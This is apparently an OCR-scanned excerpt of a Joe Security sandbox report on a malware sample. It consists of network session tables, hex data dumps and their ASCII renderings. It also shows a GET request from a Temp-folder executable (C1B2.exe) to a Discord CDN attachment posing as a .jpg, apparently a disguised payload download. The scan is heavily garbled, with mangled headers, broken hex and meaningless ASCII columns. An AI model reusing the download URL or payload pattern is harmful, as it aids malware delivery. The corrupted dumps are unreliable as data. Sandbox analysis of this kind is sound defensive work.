20 4f 20 44 57 20 4 20 71 71 71 20 4f 20 45 71 20 4f 20 44 45 20 4f 20 44 45 20 4f 20 71 71 57 20 4f 20 45 71 20 4f 20 44
57 20 4f 20 58 71 20 4f 20 58 57 20 4f 20 45 4f 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 45 45 20 4f 20 45 70 20 4f 20 45
45 20 4f 20 44 44 20 4f 20 44 Ad 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 6d 4d 20 4f 20 58 57 20 4f 20 71 4f 4f 20 4f 20 45
70 20 4f 20 44 57 20 4f 20 58 71 20 4f
Data Ascii: DX O DW O Eq O DW O Xq O EJ O mE O DW O qOp O DM O DW O EE O DD O EE O Eq O DW O mM O
XW O OO O Em O Xq O Xq O EE O EE O DW O qqq O Eq O DE O DE O qqW O Eq O DW O Xq O XW O EO O DD O
qgM O EE O Ep O EE O DD O DM O Eq O DW O mM O XW O gOO O Ep O DW O Xq O

2021-10-29 18:29:50 UTC 1160 IN Data Raw: 20 4d 58 20 4f 20 71 4f 45 20 4f 20 71 71 57 20 4f 20 57 44 20 4f 20 58 44 20 4f 20 71 4f 4d 20 4f 20 44 44 20
4f 20 71 71 58 20 4f 20 4d 58 20 4f 20 71 4a 4a 20 4f 20 6d 4d 20 4f 20 71 4f 45 20 4f 20 71 71 44 20 4f 20 71 4f 71 20 4f
20 71 71 6d 20 4f 20 4d 45 20 4f 20 45 45 20 4f 20 71 71 6d 20 4f 20 58 71 20 4f 20 71 71 71 20 4f 20 71 71 71 20 4f 20
71 4f 6d 20 4f 20 71 4f 45 20 4f 20 71 71 58 20 4f 20 57 6d 20 4f 20 71 71 71 20 4f 20 4d 58 20 4f 20 6d 4d 20 4f 20 71 71
71 20 4f 20 71 4f 58 20 4f 20 4d 4d 20 4f 20 45 71 20 4f 20 45 57 20 4f 20 44 44 20 4f 20 4d 4d 20 4f 20 57 4f 20 4f 20 45
58 20 4f 20 71 4f 71 20 4f 20 71 71 71 20 4f 20 45 44 20 4f 20 71 71 58 20 4f 20 58 4d 20 4f 20 57 71 20 4f 20 45 58 20 4f
20 71 4f 4f 20 4f 20 45 57 20 4f 20 6d 58
Data Ascii: MX O qOE O qqW O WD O XD O gOM O DD O ggX O MX O qJJ O mM O gOE O qgD O qOq O gqgm O ME
O EE O qgm O Xq © qgqq O gqgq O qOm O qOE O ggX O Wm O ggqgq O MX O mM O qqgq O qOX O MM O Eq O EW O DD
O MM O WO O EX O qOg O qqq O ED O ggX O XM O Wq O EX O qOO O EW O mX

2021-10-29 18:29:50 UTC 1165 IN Data Raw: 20 4d 4d 20 4f 20 6d 4d 20 4f 20 71 4f 4a 20 4f 20 44 4d 20 4f 20 57 45 20 4f 20 45 71 20 4f 20 57 4f 20 4f 20
57 4f 20 4f 20 57 4f 20 4f 20 57 6d 20 4f 20 71 71 4d 20 4f 20 71 71 4d 20 4f 20 71 4f 57 20 4f 20 71 71 70 20 4f 20 45 4f
20 4f 20 71 4a 4f 20 4f 20 45 6d 20 4f 20 71 71 6d 20 4f 20 71 71 58 20 4f 20 71 4f 4f 20 4f 20 58 70 20 4f 20 45 4d 20 4f
20 45 44 20 4f 20 71 71 4f 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 45 4d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 71 4f 4f 20 41
20 4d 58 20 4f 20 58 57 20 4f 20 4d 45 20 4f 20 4d 4d 20 4f 20 58 4a 20 4f 20 57 70 20 4f 20 71 4f 4f 20 4f 20 45 4d 20 4f
20 71 71 45 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 71 4f 71 20 4f 20 45 57 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 4d 4d
20 4f 20 71 71 4f 20 4f 20 58 4d 20
Data Ascii: MM O mM O qOJ O DM O WE O Eq O WO O WO O WO O Wm O ggM O qgM O qOW O gqgp O EO O qJO O
Em O ggm O ggX O gOO O Xp O EM O ED O qqO O DW O MO O EM O Xgq O DW O gOO O MX O XW O ME O MM O
XJ O Wp O qOO O EM O qgE O DW O XM O qOg O EW O mE O gOO O MM O qqO O XM

2021-10-29 18:29:50 UTC 1169 IN Data Raw: 20 58 57 20 4f 20 57 44 20 4f 20 45 57 20 4f 20 6d 70 20 4f 20 45 57 20 4f 20 44 44 20 4f 20 57 70 20 4f 20 58
4d 20 4f 20 71 4f 44 20 4f 20 71 4f 4f 20 4f 20 6d 58 20 4f 20 71 4f 70 20 4f 20 45 44 20 4f 20 45 71 20 4f 20 71 4f 6d 20 4f
20 71 4f 44 20 4f 20 57 45 20 4f 20 45 4f 20 4f 20 45 6d 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 71 4f 45 20 4f 20 58 45
20 4f 20 71 4f 4a 20 4f 20 71 4f 70 20 4f 20 45 4a 20 4f 20 6d 4d 20 4f 20 71 71 45 20 4f 20 45 4a 20 4f 20 71 4f 4a 20 4f
20 71 71 58 20 4f 20 71 4a 71 20 4f 20 58 6d 20 4f 20 4d 58 20 4f 20 4d 58 20 4f 20 71 4a 4a 20 4f 20 45 58 20 4f 20 6d 58
20 4f 20 4d 4f 20 4f 20 4d 45 20 4f 20 71 71 58 20 4f 20 58 4a 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 45 20 4f 20 44 44
20 4f 20 58 70 20 4f 20 71 4f 4a 20
Data Ascii: XW O WD O EW O mp O EW O DD O Wp O XM O qOD O gOO O mX O qOp O ED O Eq O gOm O qOD O
WE O EO O Em O qqW O DW O qOE O XE O qOJ O qOp O EJ O mM O qgE O EJ O qOJ O qgX O qJg O Xm O MX O
MX 0 @JJ O EX O mX O MO O ME O qgX O XJ O Eq O WJ O DE O DD O Xp O qOJ

2021-10-29 18:29:50 UTC 1173 IN Data Raw: 4f 20 71 71 70 20 4f 20 70 45 20 4f 20 71 71 4f 20 4f 20 70 45 20 4f 20 71 71 57 20 4f 20 71 4f 58 20 4f 20 71 4f
4d 20 4f 20 71 4f 4a 20 4f 20 71 4f 4a 20 4f 20 71 4a 71 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 70 45 20 4f 20 4d 45 20 4f
20 71 4a 4a 20 4f 20 71 4f 6d 20 4f 20 70 45 20 4f 20 71 70 20 4f 20 71 4f 20 4f 20 70 45 20 4f 20 71 71 4d 20 4f 20 71 4f
58 20 4f 20 71 4f 6d 20 4f 20 71 4a 4a 20 4f 20 71 4f 44 20 4f 20 71 4f 6d 20 4f 20 71 4a 4f 20 4f 20 71 71 45 20 4f 20 71
4a 4a 20 4f 20 70 45 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 71 4a 4a 20 4f 20 71 71 45 20 4f 20 71 4f 57 20 4f 20 4d 4d
20 4f 20 71 4a 4a 20 4f 20 71 71 70 20 4f 20 71 71 6d 20 4f 20 71 71 70 20 4f 20 4d 45 20 4f 20 71 71 58 20 4f 20 70 45 2
0 4f 20 4d 4d 20 4f 20 70 45 20 4f
Data Ascii: O gqgp O pE O qgqO O pE O ggW O gOX O qOM O gqOJ O gOJ O gJg O pE O gOO O pE O ME O gqJJ O qOm
OpEOQgp OO O pE O gqM O gOX O gOm O gJJ O qOD O qOm O qJO O qgE O gJJ O pE O qqW O pE O qJJ O qqE
O gqOW O MM O gJJ O qgp O ggm O qgp O ME O qgX O pE O MM O pE O

2021-10-29 18:29:50 UTC 1177 IN Data Raw: 71 71 6d 20 4f 20 71 4f 6d 20 4f 20 71 4f 6d 20 4f 20 70 45 20 4f 20 71 71 4f 20 4f 20 70 4520 4f20 71 71 71
20 4f 20 4d 58 20 4f 20 71 4f 58 20 4f 20 4d 58 20 4f 20 71 71 4a 20 4f 20 71 71 71 20 4f 20 71 4f 71 20 4f 20 71 4f 44 20
4f 20 71 71 4f 20 4f 20 70 45 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 71 4f 6d 20 4f 20 71 4f 57 20 4f 20 71 4f 4f 20 4f 20
70 45 20 4f 20 71 4f 71 20 4f 20 70 45 20 4f 20 71 71 44 20 4f 20 71 71 6d 20 4f 20 71 71 44 20 4f 20 71 4f 70 20 4f 20 71
4f 44 20 4f 20 71 4f 44 20 4f 20 71 4f 4d 20 4f 20 4d 58 20 4f 20 71 4f 44 20 4f 20 71 4f 4f 20 4f 20 4d 45 20 4f 20 71 4f 4a
20 4f 20 71 71 58 20 4f 20 71 4f 4a 20 4f 20 70 45 20 4f 20 70 4a 20 4f 20 70 45 20 4f 20 71 4f 57 20 4f 20 71 4f 4d 20 4f
20 71 4f 58 20 4f 20 71 4f 57 20
Data Ascii: ggm O gOm O gOm O pE O qqO O pE O ggqgq O MX O qOX O MX O gqJ O qqgq O qOq O qOD O gqqO O pE O
qqW O pE O gOm O gOW O qOO O pE O qOq O pE O qgqD O gqgm O qgqD O qOp O gOD O gOD O gOM O MX O qOD O
qOO O ME O qOJ O gqgX O qOJ O pE O pJ O pE O gOW O qOM O qOX O qOW

2021-10-29 18:29:50 UTC 1181 IN Data Raw: 20 4f 20 71 4f 58 20 4f 20 71 71 57 20 4f 20 71 4a 4a 20 4f 20 70 45 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20
71717020 4f 20 71 71 6d 20 4f 20 71 4f 71 20 4f 20 4d 4d 20 4f 20 71 71 44 20 4f 20 71 71 4f 20 4f 20 71 4f 6d 20 4f 20
4d 4d 20 4f 20 70 45 20 4f 20 4d 45 20 4f 20 70 45 20 4f 20 71 71 4d 20 4f 20 71 71 45 20 4f 20 71 4a 4f 20 4f 20 71 4f 71
20 4f 20 71 4f 6d 20 4f 20 70 45 20 4f 20 4d 58 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 71 71 70 20 4f 20 71 4f 71 20 4f 20
71 4a 71 20 4f 20 71 4f 6d 20 4f 20 71 71 4f 20 4f 20 71 4f 58 20 4f 20 71 71 4a 20 4f 20 70 45 20 4f 20 71 4f 58 20 4f 20
70 45 20 4f 20 4d 58 20 4f 20 71 4f 4d 20 4f 20 4d 58 20 4f 20 71 4f 58 20 4f 20 71 4a 4a 20 4f 20 71 71 4a 20 4f 20 71 4f
4d 20 4f 20 71 4f 44 20 4f 20 71 4f
Data Ascii: O gOX O qqW O gJJ O pE O qqW O pE O gqgp O qgm O qOgq O MM O ggD O gqqO O qOm O MM O pE O ME
O pE O qgM O qgE O qJO O qOgq O gOm O pE O MX O pE O qOO O qgp O qOg O gJg O gOm O gqqO0 O qOX O qqJ O
pE O qOX O pE O MX O gOM O MX O qOX O gJJ O gqgJ O gOM O qOD O qO
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Timestamp transferred Direction Data

2021-10-29 18:29:50 UTC 1185 IN Data Raw: 4a 20 4f 20 71 4f 6d 20 4f 20 71 4f 45 20 4f 20 4d 58 20 4f 20 71 4f 4f 20 4f 20 4d 58 20 4f 20 71 4f 44 20 4f 20
7171 45 20 4f 20 71 4f 57 20 4f 20 71 71 4f 20 4f 20 71 4f 4a 20 4f 20 71 4a 71 20 4f 20 4d 58 20 4f 20 4d 58 20 4f 20 70
45 20 4f 20 71 4f 71 20 4f 20 70 45 20 4f 20 71 71 44 20 4f 20 71 4f 71 20 4f 20 4d 58 20 4f 20 71 4f 6d 20 4f 20 71 4f 58
20 4f 20 71 4a 4f 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 70 45 20 4f 20 71 71 71 20 4f 20 71 71 58 20 4f 20 4d 45 20 4f
20 70 45 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 71 71 44 20 4f 20 71 71 44 20 4f 20 71 4f 58 20 4f 20 71 71 4f 20 4f 20
71 71 70 20 4f 20 70 45 20 4f 20 4d 4d 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 71 71 4d 20 4f 20 71 4a 4a 20 4f 20 71 4f 5
7 20 4f 20 71 4f 6d 20 4f 20 71 71
Data Ascii: J O gOm O gOE O MX O gOO O MX O qOD O qgE O gOW O gqgO O gqOJ O gJg O MX O MX O pE O gOg O
pE O qgD O qOg O MX O gOm O gqOX O qJO O pE O qOO O pE O gqg O gqgX O ME O pE O qOW O pE O qqD O qqb O
qOX O gqqO O qgp O pE O MM O pE O qOO O gqgM O gJJ O gOW O qOm O qq

2021-10-29 18:29:50 UTC 1189 IN Data Raw: 71 71 20 4f 20 71 4f 4f 20 4f 20 71 4f 71 20 4f 20 71 4f 6d 20 4f 20 71 4a 4f 20 4f 20 70 45 20 4f 20 71 4f 71 20
4f 20 70 45 20 4f 20 71 4a 71 20 4f 20 71 4f 4f 20 4f 20 71 4f 4d 20 4f 20 71 71 70 20 4f 20 71 71 44 20 4f 20 71 4f 4a 20
4f 20 4d 45 20 4f 20 4d 4d 20 4f 20 71 71 4a 20 4f 20 70 45 20 4f 20 4d 45 20 4f 20 70 45 20 4f 20 71 71 71 20 4f 20 71 71
71 20 4f 20 71 71 57 20 4f 20 71 4f 4f 20 4f 20 71 71 57 20 4f 20 4d 58 20 4f 20 71 4f 4d 20 4f 20 4d 58 20 4f 20 71 4f 45
20 4f 20 71 71 4d 20 4f 20 71 4a 4f 20 4f 20 71 4f 4d 20 4f 20 71 4f 4f 20 4f 20 71 71 58 20 4f 20 70 45 20 4f 20 71 4f 58 20
4f 20 70 45 20 4f 20 71 4a 4f 20 4f 20 71 4f 45 20 4f 20 71 4a 71 20 4f 20 71 4a 4f 20 4f 20 71 4f 70 20 4f 20 71 71 44 20 41
20 71 4a 4a 20 4f 20 71 4a 4a
Data Ascii: gg O gOO O gOg O gOm O gJO O pE O gOg O pE O gqJgq O gOO O qOM O qgp O gqgb O gOJ O ME O MM O
qgJ O pE O ME O pE O qqq O gqqg O gqW O qOO O qgW O MX O gOM O MX O gqOE O qgM O gqJO O qOM O qOO O
qgX O pE O qOX O pE O qJO O gOE O qJg © gJO O qOp O qqb © qJJ O qJJ

2021-10-29 18:29:50 UTC 1192 IN Data Raw: 20 71 4f 71 20 4f 20 71 4f 45 20 4f 20 71 71 71 20 4f 20 71 4a 4a 20 4f 20 71 71 71 20 4f 20 70 45 20 4f 20 71
71 44 20 4f 20 70 45 20 4f 20 4d 45 20 4f 20 71 4f 4d 20 4f 20 71 4a 71 20 4f 20 71 71 4a 20 4f 20 71 4f 6d 20 4f 20 71 4f
4f 20 4f 20 71 4a 4a 20 4f 20 71 71 71 20 4f 20 71 4f 71 20 4f 20 70 45 20 4f 20 44 71 20 4f 20 70 45 20 4f 20 71 4a 4f 20
4f 20 4d 45 20 4f 20 71 4a 4f 20 4f 20 71 4f 4f 20 4f 20 71 71 45 20 4f 20 71 71 45 20 4f 20 70 45 20 4f 20 70 4a 20 4f 20
70 45 20 4f 20 71 71 4d 20 4f 20 71 71 70 20 4f 20 71 4f 4d 20 4f 20 71 71 4a 20 4f 20 71 71 4d 20 4f 20 71 71 58 20 4f 20
70 45 20 4f 20 71 4f 4f 20 4f 20 70 45 20 4f 20 71 71 70 20 4f 20 71 4f 6d 20 4f 20 71 4f 58 20 4f 20 71 4f 4d 20 4f 20 71 71
57 20 4f 20 4d 45 20 4f 20 71 4f 6d
Data Ascii: qOgq O qOE O qqq O gJJ O gqq O pE O qgD O pE O ME O gOM O gJq O gqgJ O gOm O qOO O qJJ O qqq O
qOq O pE O Dgq O pE © gJO O ME O qJO O qOO O qqE O gqqE O pE O pJ O pE O qqM O ggp O qOM O qgJ O qgM O
qgX O pE O qOO O pE O qgp O gOm O qOX O qOM O gqqW O ME O qOm

2021-10-29 18:29:50 UTC 1197 IN Data Raw: 71 58 20 4f 20 71 4f 44 20 4f 20 71 71 6d 20 4f 20 71 71 4d 20 4f 20 71 4f 4f 20 4f 20 71 4f 57 20 4f 20 71 4f 70
20 4f20 71 4a 71 20 4f 20 70 45 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 71 71 44 20 4f 20 71 4f 44 20 4f 20 71 71 4d 20
4f 20 4d 4d 20 4f 20 71 71 4f 20 4f 20 71 4f 58 20 4f 20 71 71 6d 20 4f 20 71 4a 71 20 4f 20 71 4f 4a 20 4f 20 71 71 4a 20
4f20 71 71 71 20 4f 20 71 4f 4a 20 4f 20 70 45 20 4f 20 4d 4d 20 4f 20 70 45 20 4f 20 71 4f 4a 20 4f 20 71 4f 70 20 4f 20
4d 58 20 4f 20 71 71 58 20 4f 20 71 4f 4f 20 4f 20 70 45 20 4f 20 71 71 57 20 4f 20 70 45 20 4 20 71 4a 7120 4§20 71 71
4d 20 4f 20 4d 58 20 4f 20 71 71 57 20 4f 20 71 4f 58 20 4f 20 71 71 57 20 4f 20 71 4f 45 20 4f 20 4d 58 20 4f 20 71 71 4f 2
0 4f 20 71 71 6d 20 4f 20 70 45 20
Data Ascii: gX O qOD O gqgm O qqM O qOO O qOW O gOp O gJq O pE O qgqW O pE O qgD O qOD O ggM O MM O qqO
0O qOX O ggm O gJg O q0J O qqJ O qgqq O qOJ O pE O MM O pE O gOJ O qOp O MX O qgX O qOO O pE O qqW O pE
0 qJg O qqM O MX O qqW O qOX O qqW O qOE O MX O qqO O qgm O pE

2021-10-29 18:29:50 UTC 1201 IN Data Raw: 20 4f 20 4d 4d 20 4f 20 70 45 20 4f 20 71 4f 4d 20 4f 20 71 4f 45 20 4f 20 71 4f 58 20 4f 20 71 71 44 20 4f 20 71
7157 20 4f 20 71 71 6d 20 4f 20 4d 58 20 4f 20 4d 45 20 4f 20 71 4f 4f 20 4f 20 70 45 20 4f 20 71 71 71 20 4f 20 70 45 20
4f 20 71 4f 58 20 4f 20 71 71 45 20 4f 20 71 4a 4f 20 4f 20 71 4f 44 20 4f 20 4d 4d 20 4f 20 71 4f 4a 20 4f 20 71 71 57 20
4f 20 71 4a 4f 20 4f 20 71 71 44 20 4f 20 71 71 6d 20 4f 20 71 71 71 20 4f 20 71 4a 4f 20 4f 20 70 45 20 4f 20 71 71 4f 20
4f 20 70 45 20 4f 20 71 71 58 20 4f 20 71 4f 45 20 4f 20 71 71 4d 20 4f 20 4d 58 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20
4d 4d 20 4f 20 71 71 4a 20 4f 20 71 4a 4a 20 4f 20 70 45 20 4f 20 71 4f 4a 20 4f 20 70 45 20 4f 20 4d 58 20 4f 20 71 4f 4a
20 4f 20 71 4f 4f 20 4f 20 70 45 20
Data Ascii: O MM O pE O qOM O qOE O qOX O qgD O qgqW O ggm O MX O ME O qOO O pE O qqq O pE O qOX O g
gE O qJO O qOD O MM O gqOJ O gqqW O gJO O gqgb O gqgm O gqg O qJO O pE O qqO O pE O ggX O qOE O qqM O MX
O MX O qgM O MM O qgJ O gJJ O pE O qOJ O pE O MX O qOJ O qOO O pE

2021-10-29 18:29:50 UTC 1205 IN Data Raw: 4d 20 4f 20 4d 4d 20 4f 20 71 4f 57 20 4f 20 71 4f 71 20 4f 20 71 71 57 20 4f 20 71 71 4a 20 4f 20 71 4f 70 20 4f
20 71 71 4f 20 4f 20 71 4f 57 20 4f 20 71 71 45 20 4f 20 71 71 57 20 4f 20 71 4f 4a 20 4f 20 70 45 20 4f 20 71 4f 4a 20 4f
20 70 45 20 4f 20 71 4f 4f 20 4f 20 71 71 4a 20 4f 20 71 71 57 20 4f 20 4d 58 20 4f 20 71 71 4f 20 4f 20 71 71 71 20 4f 20
4d 45 20 4f 20 4d 45 20 4f 20 71 4f 71 20 4f 20 4d 45 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 71 4f 57 20 4f 20 70 45 20
420 71 71 6d 20 4f 20 71 71 4f 20 4f 20 71 4f 45 20 4f 20 71 4f 58 20 4f 20 71 4f 70 20 4f 20 71 71 4f 20 4f 20 71 4f 4d 20
4f 20 71 4f 70 20 4f 20 71 4f 57 20 4f 20 71 4f 70 20 4f 20 71 4f 4d 20 4f 20 70 45 20 4f 20 71 4f 70 20 4f 20 70 45 20 4f 20
4d 4d 20 4f 20 71 4f 4a 20 4f
Data Ascii: M O MM O qgOW O gqOg O qgW O ggJ O qOp O gqqO O qOW O qgE O qqW O qOJ O pE O gOJ O pE O OO
0 qgJ O gqW O MX O gqqO O gqq O ME O ME O qOg O ME O gOW O pE O qOW O pE O ggm O qqO O qOE O qOX O
qOp O qqO O qOM O gqOp O gOW O gqOp O qOM O pE O qOp O pE O MM O qOJ O

2021-10-29 18:29:50 UTC 1209 IN Data Raw: 45 20 4f 20 71 4f 58 20 4f 20 71 4f 45 20 4f 20 71 4f 58 20 4f 20 71 71 4a 20 4f 20 71 71 71 20 4f 20 71 71 58
20 4f 20 71 4f 71 20 4f 20 71 4f 58 20 4f 20 71 4a 4f 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 71 71 4f 20 4f 20 70 45 20 4f
20 71 4f 4f 20 4f 20 71 4f 4a 20 4f 20 71 4a 71 20 4f 20 70 45 20 4f 20 71 4f 4a 20 4f 20 70 45 20 4f 20 71 71 45 20 4f 20
7171 4a 20 4f 20 71 71 4d 20 4f 20 4d 58 20 4f 20 4d 45 20 4f 20 71 4a 4f 20 4f 20 71 71 4d 20 4f 20 71 4f 45 20 4f 20 4d
45 20 4f 20 71 4f 4a 20 4f 20 71 71 4f 20 4f 20 71 4f 4f 20 4f 20 71 4a 4f 20 4f 20 71 71 4f 20 4f 20 70 45 20 4f 20 71 4f 57
20 4f 20 70 45 20 4f 20 71 4f 58 20 4f 20 71 4f 45 20 4f 20 71 4f 57 20 4f 20 71 4a 71 20 4f 20 4d 45 20 4f 20 71 4f 70 20 4f
2071717120 4f2071 4f70
Data Ascii: E O gOX O qOE O qOX O qgJ O gqqg O qgX O gOg O gOX O gJO O qOW O pE O gqO O pE O qOO O qOJ
0 qJg O pE O qOJ O pE O gqqE O qgqJ O qgM O MX O ME O qJO O qgM O qOE O ME O qOJ O qqO O qOO O qJO O
qqO O pE O qOW O pE O qOX O qOE O qOW O gJg O ME O gOp O qqq O qOp

2021-10-29 18:29:50 UTC 1213 IN Data Raw: 70 45 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 71 4f 44 20 4f 20 71 71 45 20 4f 20 71 4f 4f 20 4f 20 71 4f 44 20
4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 4d 4a 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 71 4f 44 20 4f 20 71 4f 6d 20 4f 20 71
Af 4f 20 4f 20 71 4f 4a 20 4f 20 4d 58 20 4f 20 71 4f 58 20 4f 20 71 4a 4a 20 4f 20 71 4f 4f 20 4f 20 71 4f 44 20 4f 20 71 71
6d 20 4f 20 71 4f 4f 20 4f 20 71 4f 70 20 4f 20 70 45 20 4f 20 71 70 20 4f 20 71 4f 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20
71 4f 4a 20 4f 20 71 4f 4f 20 4f 20 71 71 4a 20 4f 20 70 45 20 4f 20 58 4a 20 4f 20 70 45 20 4f 20 71 4f 6d 20 4f 20 71 71
57 20 4f 20 71 4f 44 20 4f 20 71 4f 6d 20 4f 20 71 71 58 20 4f 20 71 4f 58 20 4f 20 71 4f 4a 20 4f 20 71 71 58 20 4f 20 71 4f
4f 20 4f 20 71 4a 71 20
Data Ascii: pE O qqgW O pE O qOD O qgE O gOO O qOD O qOW O pE O MJ O pE O gOO O qOD O gOm O qOO O qOJ
O MX O gOX O gJdJ O qgOO O qOD O qgm O qOO O qOp O pE O gp O qO O pE O qOO O qOJ O qOO O qgJ O pE O XJ
O pE O gOm O qgW O qOD O gOm O ggX O qOX O qOJ O qgX O qOO O qJq
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Timestamp transferred

2021-10-29 18:29:50 UTC 1229

2021-10-29 18:29:50 UTC 1241

Session ID Source IP

2 192.168.2.7
kBytes

Timestamp transferred

2021-10-29 18:29:53 UTC 1254

2021-10-29 18:29:53 UTC 1254

2021-10-29 18:29:53 UTC 1255

2021-10-29 18:29:53 UTC 1255

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49778

Direction

ouT

Data

Data Raw: 4f 20 57 44 20 4f 20 6d 58 20 4f 20 6d 58 20 4f 20 57 4f 20 4f 20 44 44 20 4f 20 44 4d 20 4f 20 6d 4d 20 4f 20
6d 58 20 4f 20 57 71 20 4f 20 6d 4d 20 4f 20 57 44 20 4f 20 71 4a 57 20 4f 20 4d 4a 20 4f 20 6d 58 20 4f 20 6d 58 20 4f 20
6d 58 20 4f 20 6d 58 20 4f 20 71 20 4a 71 20 44 58 20 4f 20 71 71 6d 20 4f 20 71 4f 57 20 4f 20 71 71 58 20 4f 20 71 4f 71
20 4f 20 71 71 6d 20 4f 20 44 58 20 4f 20 71 4f 71 20 4f 20 71 71 57 20 4f 20 4d 4d 20 4f 20 4f 20 71 4a 58 20 71 45 57 20
58 70 20 4f 20 58 4d 20 4f 20 58 70 20 4f 20 58 6d 20 4f 20 44 4d 20 4f 20 45 45 20 4f 20 4d 4a 20 4f 20 44 45 20 4f 20 71
717120 4f 20 71 71 4f 20 4f 20 71 71 44 20 4f 20 71 71 6d 20 4f 20 71 71 71 20 4f 20 71 4f 58 20 4f 20 58 70 20 4f 20 71
4f 71 20 4f 20 71 71 44 20 4f 20 6d 58

Data Ascii: O WD O mX O mX O WO O DD O DM O mM O mX O Wg O mM O WD O gJW O MJ O mX O mX O mX O mX
O gqJg DX O ggm O gOW O ggX O qOq O qgm O DX O gOg O qgW O MM O O qJX gEW Xp O XM O Xp O Xm O DM O
EE O MJ O DE O qqq O qqO O qgD O ggm O qgg O qOX O Xp O qOq O qgD O mX

Data Raw: 4a 20 6d 20 4a 57 4f 20 4f 20 4f 20 71 4d 4a 20 6d 20 71 4f 20 71 20 4f 20 71 4d 4a 20 6d 20 70 4f 20 71 20 4f
20 71 4d 4a 20 6d 20 70 71 20 71 20 4f 20 71 4d 4a 20 6d 20 70 4a 20 71 20 4f 20 71 4d 4a 20 6d 20 70 70 20 71 20 4f 20
71 4d 4a 20 6d 20 70 6d 20 71 20 4f 20 71 4d 4a 20 6d 20 70 57 20 71 20 4f 20 71 4d 4a 20 6d 20 70 44 20 71 20 4f 20 71
4d 4a 20 6d 20 70 45 20 71 20 4f 20 71 4d 4a 20 6d 20 70 58 20 71 20 4f 20 71 4d 4a 20 6d 20 70 4d 20 71 20 4f 20 71 4d
4a 20 6d 20 6d 4f 20 71 20 4f 20 71 4d 4a 20 6d 20 6d 71 20 71 20 4f 20 71 4d 4a 20 6d 20 6d 4a 20 71 20 4f 20 71 4d 4a
20 6d 20 6d 70 20 71 20 4f 20 71 4d 4a 20 6d 20 6d 6d 20 71 20 4f 20 71 4d 4a 20 6d 20 6d 57 20 71 20 4f 20 71 4d 4a 20
6d 20 6d 44 20 71 20 4f 20 71 4d 4a 20 6d 20 6d 45 20

Data Ascii: Jm JWO OO gMImgOqO gMImpOqO gMImpgqgOgvdmplgOgMImppgOgMImpmqgO gMJ
mpWgOgMImpDgqOgMImpEqOgMImpXgOgMImpMgOgMImmOqOgMImmgqgOgMImmJqO gMJ
mmpgOgMImmmqO gMI mmwW qO gMJ mmbD g O gMJ m mE

Destination IP Destination Port Process

162.159.129.233 443 C:\Users\user\AppData\Local\Temp\C1B2.exe

Data

GET /attachments/893177342426509335/903702020781907998/4D0A6361.jpg HTTP/1.1
Host: cdn.discordapp.com
Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Fri, 29 Oct 2021 18:29:53 GMT

Content-Type: image/jpeg

Content-Length: 406075

Connection: close

CF-Ray: 6a5e78cf19134eb6-FRA

Accept-Ranges: bytes

Age: 1984

Cache-Control: public, max-age=31536000

ETag: "4be3e6f4d4f4aalll6f6c74f532cheb7”

Expires: Sat, 29 Oct 2022 18:29:53 GMT

Last-Modified: Fri, 29 Oct 2021 17:49:11 GMT

Vary: Accept-Encoding

CF-Cache-Status: HIT

Alt-Sve: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Cf-Bgj: h2pri

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-g00g-generation: 1635529751768404

X-goog-hash: crc32c=bHQIMA==

X-goog-hash: md5=S+Pm9NTOghEW9sdPUyy+tw==

X-goog-metageneration: 1

x-goog-storage-class: STANDARD

X-g00g-stored-content-encoding: identity

X-goog-stored-content-length: 406075

X-GUploader-UploadID: ADPycdtQMHGYEhnppJ8P837WdZk3TFi4GDGE6CytjZONP8ck3BOQpIKsdro4zTxd-YyG
cioOy6QRjSQ8JvbrhdjjkmE

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Report-To: {"endpoints":[{"url":"https:V\\/a.nel.cloudflare.comVireport\lv3?s=TLijfGF2cuDrBxMtlrOrWbHjSDLcPmbU
SUJCPIbKIIpwgOwawSvTiclGiM3IrTfaJfGtgmyAEFI%2B4wwvNcf39aNGhnOL3xB%2BIbIDQDgiH4820RIGibKhTy
%2F8ZSQIWzbuvnqVEQ%3D%3D"}],"group”:“cf-nel","max_age":604800}

Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f
22 3a 22 63 66 2d 6e 65 6¢ 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63
6c 6f 75 64 66 6¢ 61 72 65 0d Oa 0d Oa

Data Ascii: NEL: {"success_fraction™:0,"report_to":"cf-nel","max_age":604800}Server: cloudflare

Data Raw: 43 4e 56 4c 72 59 63 4d 49 57 2d 4d 4d 20 57 43 20 4e 72 72 20 43 20 4c 20 43 20 43 20 43 20 72 20 43 20
43 2043 20 56 59 59 20 56 59 59 20 43 20 43 20 4e 49 72 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 63 72 20 43 20
